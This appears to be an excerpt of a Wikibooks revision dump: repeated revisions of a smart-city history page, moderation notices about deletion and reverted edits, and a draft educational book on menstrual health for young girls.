and priorities. In Cauayan, Philippines, although the early-stage systems were still far from complete, an experimental online payment system run jointly with a local university and DOST from the outset became an important rehearsal. This made Cauayan one of the few cities in the Philippines with an online channel ready to serve its people the moment the COVID-19 crisis struck. The lessons of that crisis were then used to accelerate the linking of data across every sector. During this period, city administrators announced smart city strategies or projects to raise the city's profile, attract investment and attract high-tech businesses, whilst companies were tasked with solving local problems in urban services. As a result, the solutions tested were often isolated, and the experience of digitalizing one municipal service proved difficult to transfer to others. === Integration and Further Development (2021-present) === The development and widespread adoption of information and communication technologies have led to the emergence of new forms of citizens' digital participation in socio-political processes. A modern smart city consists of a set of isolated, vertical solutions, and integrating these solutions on the basis of unified digital platforms has become a pressing and complex challenge for businesses and local authorities. Recent scholarship proposes a three-stage model of urban digital transition: from the Smart City, in which sensor networks and real-time analytics form the digital nervous system of urban life; through the Phygital City, in which physical and digital layers are experienced simultaneously; and towards "digital habitation," a condition in which physical geography ceases to be the primary frame of reference. This evolution reflects the maturation of smart city thinking from technology-centric approaches to more integrated human-technology urban experiences. == Future Directions == Recent developments show smart cities continuing to evolve with more sophisticated approaches to governance, data integration, and citizen participation. City administrators now view smart cities not just as technology projects but as strategies to raise the city's profile, attract investment and attract high-tech businesses. Companies are increasingly tasked with solving local problems in urban services rather than simply deploying technology. The focus has shifted from isolated solutions to integrated platforms that can unify data and services across municipal departments. Contemporary smart city development emphasizes not only technical parameters but also the forms of public participation employed, including information provision, consultation, and dialogue. Indicators of technical capabilities, the degree of public participation, and the public significance of the issues under discussion now help to assess the effectiveness of e-participation platforms and can be used in their evaluation and comparative analysis at the state level. __INDEX__ __NONEWSECTIONLINK__ [[Category:Smart city]] d7j9a3wpwxnc795izzhuda76ic6laly 4670649 4670640 2026-09-17T13:21:20Z ActStuffOGWiki 3624203 4670649 wikitext text/x-wiki <noinclude>{{Delete|example=false}} </noinclude> == Overview == [[File:Smart City Nansha.jpg|thumb|291x291px|An example of how a '''smart city''' would look. ]] The '''history of smart cities''' spans over three decades, evolving from early conceptual discussions about intelligent communities to urban transformation programs implemented worldwide. The concept of a "smart community" was first formulated as early as 1993 and was presented in the "Guide to Creating Smart Communities" by San Diego State University in 1997. This early approach formed the basis of the European vision of the "smart city" and was described in 2007 by the Centre for Regional Science at the Vienna University of Technology. Thus, the concepts of "smart cities" and "citizen science" have been actively discussed for over 30 years, with market players and public institutions viewing them as a common topic for discussion and a new area for cooperation. {{See also|Citizen Science}} == Timeline of Smart Cities == === Early Concepts (1990s) === During the early 1990s, the foundational ideas of smart cities began to take shape through academic and policy discussions about intelligent communities. The term "smart community" emerged in 1993, marking one of the earliest articulations of the concept that would later evolve into today's smart city paradigm. By 1997, San Diego State University published a guide on creating smart communities, providing practical frameworks for municipalities interested in leveraging technology for urban improvement. In the same decade, Korea began experimenting with traffic management systems and launched pilot projects such as the FTMS on the Gyeongbu Expressway, demonstrating early practical applications of intelligent transportation. By 1998, South Korea hosted the 5th ITS World Congress in Seoul, signalling its ambition to become a global leader in intelligent urban systems. === Technology-Driven Development (2000-2006) === The early 2000s saw the roll-out of nationwide intelligent transportation systems standards and the introduction of electronic toll collection systems in various countries. Model intelligent transportation cities like Jeonju and Daejeon were established in South Korea during this period, serving as testbeds for integrated urban technology solutions. The development of Songdo in South Korea began in the early 2000s as a planned international business district, with technology and sustainability incorporated into the master plan rather than added later. This represented a shift from retrofitting existing cities to building smart urban environments from the ground up. In 2010, Korea again drew global attention by hosting the 17th ITS World Congress in Busan, building on momentum from previous decades. === Frameworks and Standards (2007-2014) === The Centre for Regional Science at the Vienna University of Technology described the European vision of the smart city in 2007, providing academic rigor to the concept. In 2010, ITS Korea was formally established to institutionalize intelligent transportation efforts and provide continuity to smart city development. In 2012, the People's Republic of China Ministry of Housing and Urban–Rural Development carried out smart city pilot work nationwide, identifying 90 cities, districts, and towns as the first batch of national smart city pilots. These included the Dongcheng and Chaoyang districts of Beijing among others. The second and third batches of pilot projects were announced in 2013 and 2014 respectively, demonstrating China's systematic approach to smart city development. === Global Expansion (2015-2016) === The year 2015 marked a significant achievement in smart city history with multiple major initiatives launching globally. India's Smart Cities Mission was launched on June 25, 2015, under the leadership of Prime Minister Narendra Modi, with a mission to develop 100 smart cities across the country. The initiative used a unique two-stage competitive city challenge process to select 100 cities, with each city receiving ₹500 crore from the central government over five years, matched by state and urban local body contributions. In the Philippines, Cauayan City began its path toward intelligence in 2015 under the vision of former Mayor Bernard Faustino L. Dy, when the Department of Science and Technology launched the "Smart Philippines" project to find partner cities willing to pilot digital systems. Cauayan was the first city to volunteer as a "Living Lab" for testing new technology. In June 2015, Kansas City signed a $15.7 million public-private partnership for its Downtown Smart City Corridor, which switched on with the new streetcar in May 2016. This included free outdoor Wi-Fi in more than 50 square blocks in downtown Kansas City, a light sensory network of 125 smart streetlights, and 25 interactive kiosks. Surat opened one of India's first municipal command centers in 2016 for ₹69 crore, putting its integrated command and control centre into operation among the earliest of the Smart Cities Mission. === Regional Adaptations (2017-2020) === Following the initial wave of major programs, different regions began adapting smart city concepts to their local contexts and priorities. In Cauayan, Philippines, although the early-stage systems were still far from complete, an experimental online payment system run jointly with a local university and DOST from the outset became an important rehearsal. This made Cauayan one of the few cities in the Philippines with an online channel ready to serve its people the moment the COVID-19 crisis struck. The lessons of that crisis were then used to accelerate the linking of data across every sector. During this period, city administrators announced smart city strategies or projects to raise the city's profile, attract investment and attract high-tech businesses, whilst companies were tasked with solving local problems in urban services. As a result, the solutions tested were often isolated, and the experience of digitalizing one municipal service proved difficult to transfer to others. === Integration and Further Development (2021-present) === The development and widespread adoption of information and communication technologies have led to the emergence of new forms of citizens' digital participation in socio-political processes. A modern smart city consists of a set of isolated, vertical solutions, and integrating these solutions on the basis of unified digital platforms has become a pressing and complex challenge for businesses and local authorities. Recent scholarship proposes a three-stage model of urban digital transition: from the Smart City, in which sensor networks and real-time analytics form the digital nervous system of urban life; through the Phygital City, in which physical and digital layers are experienced simultaneously; and towards "digital habitation," a condition in which physical geography ceases to be the primary frame of reference. This evolution reflects the maturation of smart city thinking from technology-centric approaches to more integrated human-technology urban experiences. == Future Directions == Recent developments show smart cities continuing to evolve with more sophisticated approaches to governance, data integration, and citizen participation. City administrators now view smart cities not just as technology projects but as strategies to raise the city's profile, attract investment and attract high-tech businesses. Companies are increasingly tasked with solving local problems in urban services rather than simply deploying technology. The focus has shifted from isolated solutions to integrated platforms that can unify data and services across municipal departments. Contemporary smart city development emphasizes not only technical parameters but also the forms of public participation employed, including information provision, consultation, and dialogue. Indicators of technical capabilities, the degree of public participation, and the public significance of the issues under discussion now help to assess the effectiveness of e-participation platforms and can be used in their evaluation and comparative analysis at the state level. __INDEX__ __NONEWSECTIONLINK__ [[Category:Smart city]] l9rrls72rg5le92j8b242a6qkrnulfj 4670655 4670649 2026-09-17T13:38:20Z MathXplore 3097823 [[WB:REVERT|Reverted]] edit by [[Special:Contributions/ActStuffOGWiki|ActStuffOGWiki]] ([[User talk:ActStuffOGWiki|talk]]) to last version by MathXplore 4670640 wikitext text/x-wiki <noinclude>{{Delete|example=false|Encyclopedic articles belong at [[w:|Wikipedia]]}}</noinclude> == Overview == [[File:Smart City Nansha.jpg|thumb|291x291px|An example of how a '''smart city''' would look. ]] The '''history of smart cities''' spans over three decades, evolving from early conceptual discussions about intelligent communities to urban transformation programs implemented worldwide. The concept of a "smart community" was first formulated as early as 1993 and was presented in the "Guide to Creating Smart Communities" by San Diego State University in 1997. This early approach formed the basis of the European vision of the "smart city" and was described in 2007 by the Centre for Regional Science at the Vienna University of Technology. Thus, the concepts of "smart cities" and "citizen science" have been actively discussed for over 30 years, with market players and public institutions viewing them as a common topic for discussion and a new area for cooperation. {{See also|Citizen Science}} == Timeline of Smart Cities == === Early Concepts (1990s) === During the early 1990s, the foundational ideas of smart cities began to take shape through academic and policy discussions about intelligent communities. The term "smart community" emerged in 1993, marking one of the earliest articulations of the concept that would later evolve into today's smart city paradigm. By 1997, San Diego State University published a guide on creating smart communities, providing practical frameworks for municipalities interested in leveraging technology for urban improvement. In the same decade, Korea began experimenting with traffic management systems and launched pilot projects such as the FTMS on the Gyeongbu Expressway, demonstrating early practical applications of intelligent transportation. By 1998, South Korea hosted the 5th ITS World Congress in Seoul, signalling its ambition to become a global leader in intelligent urban systems. === Technology-Driven Development (2000-2006) === The early 2000s saw the roll-out of nationwide intelligent transportation systems standards and the introduction of electronic toll collection systems in various countries. Model intelligent transportation cities like Jeonju and Daejeon were established in South Korea during this period, serving as testbeds for integrated urban technology solutions. The development of Songdo in South Korea began in the early 2000s as a planned international business district, with technology and sustainability incorporated into the master plan rather than added later. This represented a shift from retrofitting existing cities to building smart urban environments from the ground up. In 2010, Korea again drew global attention by hosting the 17th ITS World Congress in Busan, building on momentum from previous decades. === Frameworks and Standards (2007-2014) === The Centre for Regional Science at the Vienna University of Technology described the European vision of the smart city in 2007, providing academic rigor to the concept. In 2010, ITS Korea was formally established to institutionalize intelligent transportation efforts and provide continuity to smart city development. In 2012, the People's Republic of China Ministry of Housing and Urban–Rural Development carried out smart city pilot work nationwide, identifying 90 cities, districts, and towns as the first batch of national smart city pilots. These included the Dongcheng and Chaoyang districts of Beijing among others. The second and third batches of pilot projects were announced in 2013 and 2014 respectively, demonstrating China's systematic approach to smart city development. === Global Expansion (2015-2016) === The year 2015 marked a significant achievement in smart city history with multiple major initiatives launching globally. India's Smart Cities Mission was launched on June 25, 2015, under the leadership of Prime Minister Narendra Modi, with a mission to develop 100 smart cities across the country. The initiative used a unique two-stage competitive city challenge process to select 100 cities, with each city receiving ₹500 crore from the central government over five years, matched by state and urban local body contributions. In the Philippines, Cauayan City began its path toward intelligence in 2015 under the vision of former Mayor Bernard Faustino L. Dy, when the Department of Science and Technology launched the "Smart Philippines" project to find partner cities willing to pilot digital systems. Cauayan was the first city to volunteer as a "Living Lab" for testing new technology. In June 2015, Kansas City signed a $15.7 million public-private partnership for its Downtown Smart City Corridor, which switched on with the new streetcar in May 2016. This included free outdoor Wi-Fi in more than 50 square blocks in downtown Kansas City, a light sensory network of 125 smart streetlights, and 25 interactive kiosks. Surat opened one of India's first municipal command centers in 2016 for ₹69 crore, putting its integrated command and control centre into operation among the earliest of the Smart Cities Mission. === Regional Adaptations (2017-2020) === Following the initial wave of major programs, different regions began adapting smart city concepts to their local contexts and priorities. In Cauayan, Philippines, although the early-stage systems were still far from complete, an experimental online payment system run jointly with a local university and DOST from the outset became an important rehearsal. This made Cauayan one of the few cities in the Philippines with an online channel ready to serve its people the moment the COVID-19 crisis struck. The lessons of that crisis were then used to accelerate the linking of data across every sector. During this period, city administrators announced smart city strategies or projects to raise the city's profile, attract investment and attract high-tech businesses, whilst companies were tasked with solving local problems in urban services. As a result, the solutions tested were often isolated, and the experience of digitalizing one municipal service proved difficult to transfer to others. === Integration and Further Development (2021-present) === The development and widespread adoption of information and communication technologies have led to the emergence of new forms of citizens' digital participation in socio-political processes. A modern smart city consists of a set of isolated, vertical solutions, and integrating these solutions on the basis of unified digital platforms has become a pressing and complex challenge for businesses and local authorities. Recent scholarship proposes a three-stage model of urban digital transition: from the Smart City, in which sensor networks and real-time analytics form the digital nervous system of urban life; through the Phygital City, in which physical and digital layers are experienced simultaneously; and towards "digital habitation," a condition in which physical geography ceases to be the primary frame of reference. This evolution reflects the maturation of smart city thinking from technology-centric approaches to more integrated human-technology urban experiences. == Future Directions == Recent developments show smart cities continuing to evolve with more sophisticated approaches to governance, data integration, and citizen participation. City administrators now view smart cities not just as technology projects but as strategies to raise the city's profile, attract investment and attract high-tech businesses. Companies are increasingly tasked with solving local problems in urban services rather than simply deploying technology. The focus has shifted from isolated solutions to integrated platforms that can unify data and services across municipal departments. Contemporary smart city development emphasizes not only technical parameters but also the forms of public participation employed, including information provision, consultation, and dialogue. Indicators of technical capabilities, the degree of public participation, and the public significance of the issues under discussion now help to assess the effectiveness of e-participation platforms and can be used in their evaluation and comparative analysis at the state level. __INDEX__ __NONEWSECTIONLINK__ [[Category:Smart city]] d7j9a3wpwxnc795izzhuda76ic6laly 3 485694 4670634 2026-09-17T13:02:58Z MathXplore 3097823 Notifying author of speedy deletion nomination 4670634 wikitext text/x-wiki == I have added a tag to a page you created == Hi! I'm MathXplore, and I recently reviewed your page, [[:User:Manusheikh/sandbox]]. I have added a tag to the page, because it <strong>may meet the [[Wikibooks:Deletion policy#Speedy deletions|criteria for speedy deletion]].</strong> This means that it can be deleted at any time. If you believe that your page should not be deleted, please post a message on [[User talk:Manusheikh/sandbox|the page's talk page]] explaining why. <strong>If your reasoning is convincing, your page may be saved.</strong> If you have any questions or concerns, please [[User talk:MathXplore|let me know]]. Thank you! <!-- Substituted from User:JJPMaster/CurateThisPage/authorMsg --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:02, 17 September 2026 (UTC) s6ayx4pxxohqtmcd2m1nm13laxd28tk 3 485695 4670637 2026-09-17T13:04:00Z MathXplore 3097823 Notifying author of speedy deletion nomination 4670637 wikitext text/x-wiki == I have added a tag to a page you created == Hi! I'm MathXplore, and I recently reviewed your page, [[:Website SEO Analyzer: A Practical Guide to Page-Level SEO Analysis]]. I have added a tag to the page, because it <strong>may meet the [[Wikibooks:Deletion policy#Speedy deletions|criteria for speedy deletion]].</strong> This means that it can be deleted at any time. If you believe that your page should not be deleted, please post a message on [[Talk:Website SEO Analyzer: A Practical Guide to Page-Level SEO Analysis|the page's talk page]] explaining why. <strong>If your reasoning is convincing, your page may be saved.</strong> If you have any questions or concerns, please [[User talk:MathXplore|let me know]]. Thank you! <!-- Substituted from User:JJPMaster/CurateThisPage/authorMsg --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:04, 17 September 2026 (UTC) m4j4plp054qs23cmg8cigovcli3brbv 14 485696 4670647 2026-09-17T13:11:43Z ActStuffOGWiki 3624203 I made it 4670647 wikitext text/x-wiki == Overview == This is a [[Wikibooks:Categories|category]] for any content which is included in the [[Smart City|Smart city]] book. ''A '''smart city''' is an urban area that uses digital technology, data, and connected infrastructure to improve how services are delivered while making the city more livable and sustainable.'' For example: [[Smart city/Overview of Smart Cities]] and [[Smart city/History of Smart Cities]]. rdilfsri5xlwnghd7pq0knnli4qkfu7 3 485697 4670656 2026-09-17T13:38:40Z MathXplore 3097823 vandalism1 ([[m:User:ZbVl/VD|Vandoom]]) 4670656 wikitext text/x-wiki == 2026-09-17 == <div class="mw-content-ltr" dir="ltr" style="text-align: left" lang="en">[[File:Information.svg|25px|alt=Information icon]] Hello. Apologies for writing this in English, but I wanted to let you know that one or more of [[Special:Contributions/ActStuffOGWiki|your recent contributions]] have been undone because they did not appear constructive. If you would like to experiment, please use the sandbox. Thanks. </div><!-- Glow-vandalism1 @ 1789652313696.5s --><nowiki></nowiki> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:38, 17 September 2026 (UTC) pst9o7zxxy9q3v2eniuzey7l22danxz 4670685 4670656 2026-09-17T16:20:13Z ActStuffOGWiki 3624203 /* 2026-09-17 */ Reply 4670685 wikitext text/x-wiki == 2026-09-17 == <div class="mw-content-ltr" dir="ltr" style="text-align: left" lang="en">[[File:Information.svg|25px|alt=Information icon]] Hello. Apologies for writing this in English, but I wanted to let you know that one or more of [[Special:Contributions/ActStuffOGWiki|your recent contributions]] have been undone because they did not appear constructive. If you would like to experiment, please use the sandbox. Thanks. </div><!-- Glow-vandalism1 @ 1789652313696.5s --><nowiki></nowiki> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:38, 17 September 2026 (UTC) :Oh, it's fine. I understand English. Thanks :) [[User:ActStuffOGWiki|ActStuffOGWiki]] ([[User talk:ActStuffOGWiki|discuss]] • [[Special:Contributions/ActStuffOGWiki|contribs]]) 16:20, 17 September 2026 (UTC) 4vouppfpcbvchv7l4g0zhgddg2c3fhh 2 485699 4670668 2026-09-17T14:16:17Z Samah2025 3622601 I structured a book 4670668 wikitext text/x-wiki == A YOUNG GIRL'S GUIDE TO MENSTRUAL HEALTH AND WELLBEING. == '''Subtitle:''' ''Understanding Your Body, Caring for Yourself, and Growing with Confidence.'' == Book Topic == '''Main topic:''' Menstrual Health and Well-Being The book will introduce young girls to menstruation, puberty, menstrual hygiene, body changes, emotional wellbeing, healthy lifestyle practices, and menstrual health concerns. It will also address common myths and misconceptions surrounding menstruation and encourage girls to talk openly with trusted adults and healthcare professionals when they have questions or concerns. == Target Reading Level == '''Primary reading level:''' Upper primary to secondary school level. '''Target age:''' Approximately '''10–19 years''' '''Primary audience:''' * Girls approaching puberty * Girls who have recently started menstruating * Adolescent girls seeking more information about their bodies '''Secondary audience:''' * Parents and caregivers * Teachers * Girls' club mentors * Youth workers * Health educators === Language preference === The book should use: * Simple and clear English * Short explanations * Age-appropriate medical terminology * Illustrations and diagrams * Questions and activities * "Myth vs Fact" sections The tone should be '''warm, encouraging, respectful, and non-judgmental''', so that a girl feels like she is learning from a trusted mentor rather than reading a medical textbook. === Book Summary === ''A Young Girl’s Guide to Menstrual Health and Well-Being'' is an informative, practical, and empowering guide designed to help young girls understand menstruation and the changes that happen to their bodies during puberty. It provides simple and age-appropriate information about the menstrual cycle, menstrual hygiene, menstrual products, period pain, nutrition, physical activity, emotional wellbeing, and common menstrual health concerns. The book also addresses common myths, misconceptions, embarrassment, and stigma surrounding menstruation. Through practical advice, relatable examples, activities, reflection questions, and myth-versus-fact sections, girls are encouraged to understand their bodies, practice healthy menstrual hygiene, ask questions, and seek support when needed. It also highlights the important role of parents, teachers, mentors, and communities in creating safe and supportive environments where girls can manage their periods with dignity and confidence. Ultimately, the book aims to help every girl understand that menstruation is a normal part of growing up and that having a period should not prevent her from going to school, participating in activities, pursuing her dreams, or feeling confident about herself. = Book Form = === Suggested chapter format === Each chapter can contain: '''1. Let's Talk About It''' – a short relatable story or situation '''2. What You Need to Know''' – the main lesson '''3. Did You Know?''' – interesting fact '''4. Myth or Fact?''' – address misconceptions '''5. Try This''' – practical activity '''6. Think About It''' – reflection questions '''7. Key Takeaways''' – 3–5 important point == Chapter Book Structure == === Chapter 1: Understanding My Body and Puberty === * What is puberty? * Changes in the body * Emotional changes * Why bodies develop differently * Understanding and accepting my changing body === Chapter 2: Understanding Menstruation and the Menstrual Cycle === * What is menstruation? * Why do girls have periods? * The menstrual cycle explained * When periods usually begin * Tracking your menstrual cycle * What is normal? === Chapter 3: Menstrual Hygiene and Choosing Menstrual Products === * Personal hygiene during menstruation * Sanitary pads and reusable pads * Tampons, menstrual cups, and period underwear * Changing and caring for menstrual products * Safe disposal * Creating a personal period kit === Chapter 4: Caring for Myself During My Period === * Nutrition and iron-rich foods * Drinking water * Exercise and physical activity * Sleep and rest * Managing period pain * General self-care === Chapter 5: Periods, Emotions and Self-Confidence === * Mood changes and hormones * Stress and anxiety * Body image * Feeling embarrassed about periods * Building self-esteem * Loving and respecting my body === Chapter 6: When My Period Doesn't Feel Normal === * Irregular periods * Heavy bleeding * Severe period pain * Missed periods * Anaemia * Endometriosis and PCOS * When to seek medical help === Chapter 7: Menstrual Health at School and Home === * Managing periods at school * What to do when your period starts unexpectedly * Talking to parents and caregivers * Talking to teachers and mentors * Dealing with teasing and bullying * Creating supportive environments === Chapter 8: Breaking the Silence—Myths, Stigma and Menstrual Dignity === * Common menstrual myths * Facts about menstruation * Cultural beliefs and misconceptions * Period stigma * Why menstruation is not dirty or shameful * Speaking openly and respectfully about periods === Chapter 9: My Body, My Voice, My Future === * Body awareness and personal boundaries * Dignity and self-respect * Making informed decisions * Speaking up about health needs * Supporting other girls * Becoming a menstrual health champion === Chapter 10: My Menstrual Health Journey === * My period tracking calendar * My personal hygiene plan * My period emergency plan * My menstrual health goals * Questions I can ask a healthcare provider * My personal commitment to caring for myself === Supporting Sections === * '''Period Diary''' * '''Myth vs. Fact''' * '''Frequently Asked Questions''' * '''Menstrual Health Checklist''' * '''Menstrual Health Glossary''' * '''Helpful Resources and References''' == Conclusion == Menstruation is a normal part of growing up, and every girl deserves to understand her body and care for herself with confidence. Never be ashamed to ask questions or seek help when you need it. Remember, your period should never stop you from learning, dreaming, and achieving your goals. dbn3jdptqqo36l9y80bmtk54w8wrh2b 4670704 4670668 2026-09-17T19:10:40Z Sisterian 3123918 Created book structure 4670704 wikitext text/x-wiki == A YOUNG GIRL'S GUIDE TO MENSTRUAL HEALTH AND WELLBEING. == '''Subtitle:''' ''Understanding Your Body, Caring for Yourself, and Growing with Confidence.'' == Target Reading Level == '''Primary reading level:''' Upper primary to secondary school level. '''Target age:''' Approximately '''10–19 years''' '''Primary audience:''' * Girls approaching puberty * Girls who have recently started menstruating * Adolescent girls seeking more information about their bodies '''Secondary audience:''' * Parents and caregivers * Teachers * Girls' club mentors * Youth workers * Health educators === Book Summary === ''A Young Girl’s Guide to Menstrual Health and Well-Being'' is an informative, practical, and empowering guide designed to help young girls understand menstruation and the changes that happen to their bodies during puberty. It provides simple and age-appropriate information about the menstrual cycle, menstrual hygiene, menstrual products, period pain, nutrition, physical activity, emotional wellbeing, and common menstrual health concerns. The book also addresses common myths, misconceptions, embarrassment, and stigma surrounding menstruation. Through practical advice, relatable examples, activities, reflection questions, and myth-versus-fact sections, girls are encouraged to understand their bodies, practice healthy menstrual hygiene, ask questions, and seek support when needed. It also highlights the important role of parents, teachers, mentors, and communities in creating safe and supportive environments where girls can manage their periods with dignity and confidence. Ultimately, the book aims to help every girl understand that menstruation is a normal part of growing up and that having a period should not prevent her from going to school, participating in activities, pursuing her dreams, or feeling confident about herself. Absolutely. I can write it as a '''warm, age-appropriate, easy-to-read educational book''', using reassuring language rather than sounding like a medical textbook. I’ll keep the focus on puberty, menstruation, hygiene, emotions, nutrition, myths, safety, dignity, and when to seek help. = ''A Young Girl’s Guide to Menstrual Health and Wellbeing'' = == A friendly, practical guide to understanding your body, caring for yourself, and growing with confidence == ---- == Table of Contents == # '''Growing Up: Understanding the Changes in Your Body''' # '''What Is a Menstrual Period?''' # '''Your First Period: What to Expect''' # '''Taking Care of Yourself During Your Period''' # '''Period Pain, Tiredness, and Other Symptoms''' # '''Food, Water, Sleep, and Exercise''' # '''Feelings, Confidence, and Emotional Wellbeing''' # '''Period Myths, Facts, and Questions''' # '''School, Family, Friends, and Talking About Periods''' # '''Knowing When to Ask for Help''' ---- = Chapter 1: Growing Up: Understanding the Changes in Your Body = Growing up is an exciting journey. It is also a time when your body begins to change in many ways. You may notice that you are becoming taller. Your body shape may change. You may begin to grow hair under your arms and around your private parts. Your skin may become oilier, and you might sometimes develop spots or pimples. You may also experience new feelings. One day you might feel confident and happy; another day you might feel shy, worried, or easily annoyed. All of these changes are part of '''puberty'''. Puberty is the stage when a child's body gradually develops into an adult body. It does not happen at exactly the same age for everyone. Some girls begin puberty earlier, while others begin later. This is normal. === Your body has its own timetable === It can be tempting to compare yourself with friends. You might wonder: ''“Why haven't I started my period yet?”'' Or: ''“Why did my friend start before me?”'' Remember that everyone's body develops at its own pace. There is no prize for being the first person in your class to get a period, and there is nothing wrong with being one of the last. Your body is not a race. === Hormones: the body's messengers === During puberty, your body produces more hormones. Hormones are chemical messengers that help control many processes in the body. Two hormones that play important roles in the menstrual cycle are '''oestrogen''' and '''progesterone'''. These hormones help prepare the reproductive system for adulthood and help control the menstrual cycle. You do not need to memorize every scientific detail to understand your period. What matters most is knowing that your body is changing because it is developing normally. === Your reproductive system === Inside your body are organs that are part of the female reproductive system. These include: * the ovaries, * fallopian tubes, * uterus, * cervix, and * vagina. The '''ovaries''' contain eggs and produce hormones. The '''uterus''' is a muscular organ where a pregnancy can develop. The '''vagina''' is the passage connecting the uterus and cervix to the outside of the body. During each menstrual cycle, the uterus prepares a soft lining. If pregnancy does not occur, this lining leaves the body as menstrual blood. That is what we call a '''period'''. === A message worth remembering === Your changing body is not something to be ashamed of. It deserves care, respect, and kindness. '''Your body is growing—and you are learning how to care for it.''' ---- = Chapter 2: What Is a Menstrual Period? = A menstrual period is a normal part of growing up. Every month or so, the lining of the uterus thickens. The body does this as part of its preparation for a possible pregnancy. If pregnancy does not happen, the body no longer needs that extra lining. It breaks down and leaves the body through the vagina. This is called '''menstruation''', or simply '''having a period'''. === What does period blood look like? === Period blood is not always bright red. It can appear: * bright red, * dark red, * brownish, or * pinkish. The colour can change during a period. Blood may look darker when it has taken longer to leave the body. Small clots can also occur, especially during heavier bleeding. === How long does a period last? === A period commonly lasts several days, although there is natural variation. Young people who have only recently started menstruating may have cycles that are irregular. A period might come earlier or later than expected. This can happen because the hormones controlling the menstrual cycle are still settling into a pattern. === What is the menstrual cycle? === The menstrual cycle is the series of changes that happen in the reproductive system between periods. A simple way to think about it is: '''Period → body prepares → ovulation may occur → body prepares again → next period''' The length of the cycle varies from person to person. You may hear people say that every woman has a 28-day cycle. A 28-day cycle is often used as an example, but real cycles are not identical for everyone. === Why do periods happen? === Periods are not a disease. They are not dirty. They are not a punishment. They are a normal biological process. Understanding this can make menstruation less frightening. === What if my period is irregular? === Irregular periods can be common during the first few years after menstruation begins. However, unusual or very concerning bleeding should be discussed with a healthcare professional. Learning what is normal for ''your'' body is one of the most useful things you can do. ---- = Chapter 3: Your First Period: What to Expect = Your first period is sometimes called '''menarche'''. It can arrive when you are at home, at school, visiting relatives, travelling, or somewhere else entirely. Some girls are prepared for it. Others are completely surprised. Both experiences are normal. === Before your first period === Some girls notice changes before their first period, such as: * breast development, * growth of body hair, * increased sweating, * changes in skin, * vaginal discharge, and * emotional changes. However, these signs do not provide an exact timetable. Your first period may arrive when you least expect it. === What should you do? === If you notice blood in your underwear, try not to panic. Find a trusted adult, such as: * your mother, * father or guardian, * older sister, * teacher, * school nurse, * healthcare worker, or * another trusted person. You can ask for a sanitary pad or another menstrual product that you are comfortable using. === Preparing a period kit === It can be helpful to keep a small emergency kit in your schoolbag. It might contain: * two or three sanitary pads, * spare underwear, * tissues or toilet paper, * a small bag for carrying used products until they can be disposed of properly, * and, if you like, a small pair of shorts or skirt. You do not need a huge bag. The purpose is simply to know that you are prepared. === If your first period happens at school === You are not the first girl this has happened to, and you certainly will not be the last. If your clothes become stained, try to find a trusted teacher or another responsible adult. You might say:<blockquote>“I think I have started my period. Could you please help me?”</blockquote>There is no need to feel embarrassed. Menstruation is a normal bodily function. === Your first period may not be predictable === At first, your periods may not follow a regular schedule. Write down the date when bleeding begins. Over time, tracking your periods can help you understand your own pattern. A simple calendar is enough. ---- = Chapter 4: Taking Care of Yourself During Your Period = Menstrual hygiene is about keeping yourself comfortable, clean, and healthy. There are different menstrual products, and different people prefer different options. === Sanitary pads === Pads are worn inside underwear and absorb menstrual blood. They come in different sizes and absorbencies. Choose a product that fits comfortably and provides enough protection for your flow. Change your pad regularly, and change it sooner if it becomes wet, uncomfortable, or full. === Tampons and menstrual cups === Tampons and menstrual cups are inserted into the vagina. They can be safe when used correctly, according to the product instructions. However, younger girls may prefer pads, especially when they are first learning about menstruation. There is no requirement to use one particular product. === Reusable menstrual products === Reusable cloth pads and other reusable products can be useful where appropriate. They need to be washed properly and dried thoroughly before being used again. Cleanliness is important. === Washing during your period === You can bathe or shower during your period. In fact, regular washing can help you feel fresh and comfortable. Wash the outside of your genital area gently with clean water. Avoid putting soap, perfume, or other products inside the vagina. The vagina naturally cleans itself. === Changing underwear === Change underwear regularly, particularly if it becomes wet or stained. Cotton or other breathable materials may feel comfortable. === Disposing of used products === Used disposable pads and tampons should be wrapped and placed in an appropriate waste bin. They should generally '''not be flushed down the toilet''', because they can block plumbing. Where sanitation systems or waste-disposal arrangements are different, follow local guidance. === Menstrual hygiene is about dignity === Every girl deserves access to safe menstrual products, clean water, private toilets, and accurate information. No girl should be made to feel ashamed because she has a period. ---- = Chapter 5: Period Pain, Tiredness, and Other Symptoms = Periods can feel different from person to person. Some girls experience almost no discomfort. Others may experience: * cramps, * lower-back pain, * headaches, * tiredness, * bloating, * breast tenderness, * changes in appetite, * nausea, or * mood changes. === Why do cramps happen? === The uterus contracts during menstruation. These contractions help the uterus release its lining. Some girls feel these contractions as cramps. === Simple ways to feel more comfortable === You might find relief from: * resting, * gentle exercise, * stretching, * a warm bath, * a warm compress or hot-water bottle wrapped safely, * drinking enough water, and * getting enough sleep. Some people also use pain-relieving medicine. If you are considering medicine, follow the instructions on the package and ask a parent, guardian, pharmacist, or healthcare professional if you are unsure whether it is appropriate for you. === You do not have to suffer silently === There is a difference between ordinary period discomfort and pain that is severe or interferes significantly with everyday life. If your period pain regularly prevents you from going to school, sleeping, eating, or doing normal activities, tell a trusted adult and seek medical advice. Pain deserves to be taken seriously. === Heavy bleeding === Periods can sometimes be heavier than expected. Tell a trusted adult and seek medical advice if you are frequently soaking through pads very quickly, bleeding for an unusually long time, feeling faint or extremely weak, or otherwise worried about the amount of blood you are losing. You deserve help. ---- = Chapter 6: Food, Water, Sleep, and Exercise = Taking care of your body is important every day, not only during your period. === Eat nourishing foods === Your body needs energy and nutrients while it grows. Try to eat a variety of foods, including: * vegetables, * fruits, * whole grains, * beans and other legumes, * eggs, * fish or other protein foods, * meat where available, * milk or other calcium-rich foods, * nuts and seeds. Iron is especially important because menstruating girls lose some iron through menstrual blood. Iron-rich foods include: * beans, * lentils, * dark green leafy vegetables, * meat, * fish, * eggs, * and iron-fortified foods. Eating vitamin-C-rich foods alongside plant sources of iron can help the body absorb iron. === Drink water === Water helps your body function properly. You may notice that drinking enough water helps you feel better, particularly when you are tired or active. Carry a clean water bottle when practical. === Sleep matters === Growing bodies need sleep. Try to establish a regular bedtime and give yourself enough time to rest. A good night's sleep can support concentration, mood, learning, and physical 